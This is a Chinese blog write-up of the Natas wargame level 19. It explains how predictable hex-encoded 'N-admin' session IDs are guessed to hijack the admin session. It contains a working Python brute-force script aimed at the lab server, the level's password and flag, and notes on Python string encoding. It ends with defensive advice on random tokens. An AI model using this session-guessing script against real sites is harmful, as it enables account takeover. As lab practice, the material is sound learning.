Natas Wargame Level 19 Writeup(猜测令牌,会话劫持)

根据题目提示,这个题跟上一个题差不多,但是会话编码不再是连续的了。

一开始我跟上一个题一样,不断输入’admin‘:’1’ 并使headers里面没有cookie,从而根据返回的set-cookie判断会话编码的方式。

结果发现编码的大多数位都是一样的,只有4个位在变化,于是我以为这个题只是给编码空间用很多位打了个‘掩护’,其实空间还是很小的。变使用这四个位进行猜测,无果。

实际上在这种猜测规律的时候应该采取类似于fuzz的输入,如果输入不变的话是会有猜测错误的可能性的。

 

输入‘admin’:‘1’ 和 ‘asdfasdf’:‘asdfas’ 观察cookie中存储的会话标记特征:

 

可以发现content的长度改变了,而且content的类型好像是16进制。(这一点以后要注意,<=e)

猜测其为ascii/unicode(动态编码)16进制转化后的值。

也可以在python3中对其进行转换和解码:

写python脚本的时候又因为python2和python3的字符编码方式出了一点问题。。。还是基础知识没有学好,下面是一些总结,可以参考《python语言及其应用》第7章:

python3中的字符串是Unicode字符串而不是字节数组,这是与python2相比最大的差别。

python中的Unicode模块提供了lookup(接受不区分大小写的标准名称,返回一个Unicode字符) name(接受一个Unicode字符,返回大写名称)

当需要与外界进行数据交互时则需要完成两件事情:

1.将字符串编码为bytes

2.将bytes解码为字符串

UTF-8是动态分配的:

1.为ascii字符分配1字节

2.为拉丁语系。。。。

3.

4.

编码是指将字符串转化为一系列字节的过程,字符串的encode()函数所接受的第一个参数是编码方式,有ascii utf-8 latin-1等等 其中Unicode-escape是指\uxxxx 说\Uxxxxxxxx这种转义形式。(decode与之相反)

解码是指将字节序列转化为Unicode字符串的过程。我们从外界文本源(文件,数据库,网站,网络api等)获得的所有文本都是经过编码的字符串。重要的是知道它是以何种方式编码的,这样才能逆转编码以获得Unicode字符串。(问题在于字节串本身不带有指明编码方式的信息)

 1 import httplib2
 2 import binascii
 3 from urllib.parse import urlencode
 4 
 5 h = httplib2.Http()
 6 natas19password = '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'
 7 h.add_credentials('natas19', natas19password)
 8 forms = dict(username="admin", password=1)
 9 for i in range(0, 999):
10     PHPSESSID = str(i) + '-admin'
11     print(PHPSESSID)
12     headers = {'Content-type': 'application/x-www-form-urlencoded',
13                'Cookie': 'PHPSESSID=' + (binascii.hexlify(PHPSESSID.encode())).decode()}
14     print(binascii.hexlify(PHPSESSID.encode()).decode())
15     resp, content = h.request('http://natas19.natas.labs.overthewire.org/index.php', 'POST',
16                               urlencode(forms), headers)
17     if ('next' in str(content)):
18         print('!!!', str(content))
19         exit(0)

 binascii.hexlify(PHPSESSID.encode()).decode()这一句来源如下:

PHPSESSID为Unicode编码,要转化为16进制表示,必须先转化为字节串,由于utf-8的动态编码特性,这里encode用ascii参数和utf-8是一样的,转化为字节串后(即b'xxx'的形式),此时默认使用ascii表示,即如果字节的大小在ascii表示范围内,会用ascii表中的对应字符代替。这里要用到binascii.hexlify()将其强制为两个16进制位表示一个字节的字节串。随后将这个字节串又转化为Unicode字符串。(python linux html的标准文本编码格式均为Unicode)

 

总结:会话令牌的生成一定要随机性强,不能留有账户信息,同时对会话要进行管理,老的会话要进行删除,以防会话劫持。


经过猜测Admin的会话成功,劫持会话:

flag:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

posted @ 2017-05-19 20:25  QiuhaoLi  阅读(244)  评论(0编辑  收藏  举报